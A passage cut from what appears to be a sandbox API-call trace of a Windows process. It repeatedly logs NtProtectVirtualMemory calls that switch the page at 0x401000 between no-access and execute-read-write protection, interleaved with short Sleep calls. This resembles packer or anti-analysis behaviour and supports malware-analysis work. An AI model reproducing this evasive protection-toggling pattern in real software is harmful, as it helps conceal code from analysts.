BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0148.713] Sleep (dwMilliseconds=0x5) [0148.745] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0148.746] Sleep (dwMilliseconds=0x5) [0148.804] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0148.805] Sleep (dwMilliseconds=0x5) [0148.837] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0148.838] Sleep (dwMilliseconds=0x5) [0148.851] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0148.853] Sleep (dwMilliseconds=0x5) [0148.888] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0148.889] Sleep (dwMilliseconds=0x5) [0148.936] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0148.938] Sleep (dwMilliseconds=0x5) [0148.993] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0148.995] Sleep (dwMilliseconds=0x5) [0149.007] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0149.008] Sleep (dwMilliseconds=0x5) [0149.021] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0149.022] Sleep (dwMilliseconds=0x5) [0149.037] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0149.038] Sleep (dwMilliseconds=0x5) [0149.056] Sleep (dwMilliseconds=0x5) [0149.068] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0149.070] Sleep (dwMilliseconds=0x5) [0149.098] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0149.112] Sleep (dwMilliseconds=0x5) [0149.162] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0149.163] Sleep (dwMilliseconds=0x5) [0149.224] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0149.226] Sleep (dwMilliseconds=0x5) [0149.273] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0149.274] Sleep (dwMilliseconds=0x5) [0149.359] Sleep (dwMilliseconds=0x5) [0149.396] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0149.397] Sleep (dwMilliseconds=0x5) [0149.444] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0149.445] Sleep (dwMilliseconds=0x5) [0149.491] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0149.492] Sleep (dwMilliseconds=0x5) [0149.519] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0149.520] Sleep (dwMilliseconds=0x5) [0149.536] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0149.537] Sleep (dwMilliseconds=0x5) [0149.552] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0149.554] Sleep (dwMilliseconds=0x5) [0149.572] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0149.575] Sleep (dwMilliseconds=0x5) [0149.585] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0149.593] Sleep (dwMilliseconds=0x5) [0149.598] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0149.600] Sleep (dwMilliseconds=0x5) [0149.614] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0149.615] Sleep (dwMilliseconds=0x5) [0149.631] Sleep (dwMilliseconds=0x5) [0149.645] Sleep (dwMilliseconds=0x5) [0149.661] Sleep (dwMilliseconds=0x5) [0149.676] Sleep (dwMilliseconds=0x5) [0149.692] Sleep (dwMilliseconds=0x5) [0149.741] Sleep (dwMilliseconds=0x5) [0149.754] Sleep (dwMilliseconds=0x5) [0149.770] Sleep (dwMilliseconds=0x5) [0149.785] Sleep (dwMilliseconds=0x5) [0149.805] Sleep (dwMilliseconds=0x5) [0149.817] Sleep (dwMilliseconds=0x5) [0149.837] Sleep (dwMilliseconds=0x5) [0149.848] Sleep (dwMilliseconds=0x5) [0149.865] Sleep (dwMilliseconds=0x5) [0149.879] Sleep (dwMilliseconds=0x5) [0149.894] Sleep (dwMilliseconds=0x5) [0149.927] Sleep (dwMilliseconds=0x5) [0149.941] Sleep (dwMilliseconds=0x5) [0149.957] Sleep (dwMilliseconds=0x5) [0149.972] Sleep (dwMilliseconds=0x5) [0149.988] Sleep (dwMilliseconds=0x5) [0150.004] Sleep (dwMilliseconds=0x5) [0150.019] Sleep (dwMilliseconds=0x5) [0150.067] Sleep (dwMilliseconds=0x5) [0150.082] Sleep (dwMilliseconds=0x5) [0150.097] Sleep (dwMilliseconds=0x5) [0150.113] Sleep (dwMilliseconds=0x5) [0150.131] Sleep (dwMilliseconds=0x5) [0150.144] Sleep (dwMilliseconds=0x5) [0150.160] Sleep (dwMilliseconds=0x5) [0150.177] Sleep (dwMilliseconds=0x5) [0150.202] Sleep (dwMilliseconds=0x5) [0150.245] Sleep (dwMilliseconds=0x5) [0150.259] Sleep (dwMilliseconds=0x5) [0150.270] Sleep (dwMilliseconds=0x5) [0150.284] Sleep (dwMilliseconds=0x5) [0150.302] Sleep (dwMilliseconds=0x5) [0150.316] Sleep (dwMilliseconds=0x5) [0150.332] Sleep (dwMilliseconds=0x5) [0150.347] Sleep (dwMilliseconds=0x5) [0150.363] Sleep (dwMilliseconds=0x5) [0150.378] Sleep (dwMilliseconds=0x5) [0150.397] Sleep (dwMilliseconds=0x5) [0150.410] Sleep (dwMilliseconds=0x5) [0150.430] Sleep (dwMilliseconds=0x5) [0150.441] Sleep (dwMilliseconds=0x5) [0150.462] Sleep (dwMilliseconds=0x5) [0150.490] Sleep (dwMilliseconds=0x5) [0150.526] Sleep (dwMilliseconds=0x5) [0150.535] Sleep (dwMilliseconds=0x5) [0150.550] Sleep (dwMilliseconds=0x5) [0150.565] Sleep (dwMilliseconds=0x5) [0150.582] Sleep (dwMilliseconds=0x5) [0151.824] Sleep (dwMilliseconds=0x5) [0151.849] Sleep (dwMilliseconds=0x5) [0151.872] Sleep (dwMilliseconds=0x5) [0151.987] Sleep (dwMilliseconds=0x5) [0152.010] Sleep (dwMilliseconds=0x5) [0152.018] Sleep (dwMilliseconds=0x5) [0152.032] Sleep (dwMilliseconds=0x5) [0152.048] Sleep (dwMilliseconds=0x5) [0152.063] Sleep (dwMilliseconds=0x5) [0152.078] Sleep (dwMilliseconds=0x5) [0152.099] Sleep (dwMilliseconds=0x5) [0152.403] Sleep (dwMilliseconds=0x5) [0152.408] Sleep (dwMilliseconds=0x5) [0152.423] Sleep (dwMilliseconds=0x5) [0152.438] Sleep (dwMilliseconds=0x5) [0152.454] Sleep (dwMilliseconds=0x5) [0152.470] Sleep (dwMilliseconds=0x5) [0152.484] Sleep (dwMilliseconds=0x5) [0152.513] Sleep (dwMilliseconds=0x5) [0152.516] Sleep (dwMilliseconds=0x5) [0154.570] Sleep (dwMilliseconds=0x5) [0154.579] Sleep (dwMilliseconds=0x5) [0154.606] Sleep (dwMilliseconds=0x5) [0154.636] Sleep (dwMilliseconds=0x5) [0154.645] Sleep (dwMilliseconds=0x5) [0154.697] Sleep (dwMilliseconds=0x5) [0155.346] Sleep (dwMilliseconds=0x5) [0155.482] Sleep (dwMilliseconds=0x5) [0155.502] Sleep (dwMilliseconds=0x5) [0155.514] Sleep (dwMilliseconds=0x5) [0155.528] Sleep (dwMilliseconds=0x5) [0155.573] Sleep (dwMilliseconds=0x5) [0155.597] Sleep (dwMilliseconds=0x5) [0155.622] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0155.624] Sleep (dwMilliseconds=0x5) [0155.637] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0155.639] Sleep (dwMilliseconds=0x5) [0155.672] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0155.674] Sleep (dwMilliseconds=0x5) [0155.683] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0155.684] Sleep (dwMilliseconds=0x5) [0155.699] Sleep (dwMilliseconds=0x5) [0155.730] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0155.731] Sleep (dwMilliseconds=0x5) [0155.792] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0155.794] Sleep (dwMilliseconds=0x5) [0155.807] Sleep (dwMilliseconds=0x5) [0155.824] Sleep (dwMilliseconds=0x5) [0155.840] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0155.841] Sleep (dwMilliseconds=0x5) [0155.854] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0155.855] Sleep (dwMilliseconds=0x5) [0155.870] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0155.871] Sleep (dwMilliseconds=0x5) [0155.886] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0155.888] Sleep (dwMilliseconds=0x5) [0155.967] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0155.968] Sleep (dwMilliseconds=0x5) [0155.979] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0155.980] Sleep (dwMilliseconds=0x5) [0155.994] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0155.996] Sleep (dwMilliseconds=0x5) [0156.017] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0156.021] Sleep (dwMilliseconds=0x5) [0156.027] Sleep (dwMilliseconds=0x5) [0156.042] Sleep (dwMilliseconds=0x5) [0156.057] Sleep (dwMilliseconds=0x5) [0156.072] Sleep (dwMilliseconds=0x5) [0156.090] Sleep (dwMilliseconds=0x5) [0156.106] Sleep (dwMilliseconds=0x5) [0156.120] Sleep (dwMilliseconds=0x5) [0156.152] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0156.153] Sleep (dwMilliseconds=0x5) [0158.428] Sleep (dwMilliseconds=0x5) [0158.528] Sleep (dwMilliseconds=0x5) [0158.781] Sleep (dwMilliseconds=0x5) [0158.812] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0158.819] Sleep (dwMilliseconds=0x5) [0159.009] Sleep (dwMilliseconds=0x5) [0159.027] Sleep (dwMilliseconds=0x5) [0159.036] Sleep (dwMilliseconds=0x5) [0159.057] Sleep (dwMilliseconds=0x5) [0159.071] Sleep (dwMilliseconds=0x5) [0159.091] Sleep (dwMilliseconds=0x5) [0159.099] Sleep (dwMilliseconds=0x5) [0159.114] Sleep (dwMilliseconds=0x5) [0159.159] Sleep (dwMilliseconds=0x5) [0159.162] Sleep (dwMilliseconds=0x5) [0159.181] Sleep (dwMilliseconds=0x5) [0159.196] Sleep (dwMilliseconds=0x5) [0159.213] Sleep (dwMilliseconds=0x5) [0159.224] Sleep (dwMilliseconds=0x5) [0159.239] Sleep (dwMilliseconds=0x5) [0159.266] Sleep (dwMilliseconds=0x5) [0159.273] Sleep (dwMilliseconds=0x5) [0159.286] Sleep (dwMilliseconds=0x5) [0159.304] Sleep (dwMilliseconds=0x5) [0159.321] Sleep (dwMilliseconds=0x5) [0159.369] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0159.371] Sleep (dwMilliseconds=0x5) [0159.390] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0159.392] Sleep (dwMilliseconds=0x5) [0159.446] Sleep (dwMilliseconds=0x5) [0159.463] Sleep (dwMilliseconds=0x5) [0159.508] Sleep (dwMilliseconds=0x5) [0159.539] Sleep (dwMilliseconds=0x5) [0161.774] Sleep (dwMilliseconds=0x5) [0161.870] Sleep (dwMilliseconds=0x5) [0162.422] Sleep (dwMilliseconds=0x5) [0162.469] Sleep (dwMilliseconds=0x5) [0162.484] Sleep (dwMilliseconds=0x5) [0162.499] Sleep (dwMilliseconds=0x5) [0162.516] Sleep (dwMilliseconds=0x5) [0162.532] Sleep (dwMilliseconds=0x5) [0162.547] Sleep (dwMilliseconds=0x5) [0162.562] Sleep (dwMilliseconds=0x5) [0162.577] Sleep (dwMilliseconds=0x5) [0162.594] Sleep (dwMilliseconds=0x5) [0162.612] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0162.613] Sleep (dwMilliseconds=0x5) [0162.625] Sleep (dwMilliseconds=0x5) [0162.641] Sleep (dwMilliseconds=0x5) [0162.656] Sleep (dwMilliseconds=0x5) [0162.677] Sleep (dwMilliseconds=0x5) [0162.687] Sleep (dwMilliseconds=0x5) [0162.702] Sleep (dwMilliseconds=0x5) [0162.719] Sleep (dwMilliseconds=0x5) [0162.734] Sleep (dwMilliseconds=0x5) [0162.962] Sleep (dwMilliseconds=0x5) [0162.968] Sleep (dwMilliseconds=0x5) [0163.031] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0163.032] Sleep (dwMilliseconds=0x5) [0163.103] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0163.104] Sleep (dwMilliseconds=0x5) [0163.128] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0163.130] Sleep (dwMilliseconds=0x5) [0163.250] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0163.252] Sleep (dwMilliseconds=0x5) [0163.370] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0163.372] Sleep (dwMilliseconds=0x5) [0163.382] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0163.383] Sleep (dwMilliseconds=0x5) [0163.411] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0163.413] Sleep (dwMilliseconds=0x5) [0163.428] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0163.430] Sleep (dwMilliseconds=0x5) [0163.444] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0163.445] Sleep (dwMilliseconds=0x5) [0163.456] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, 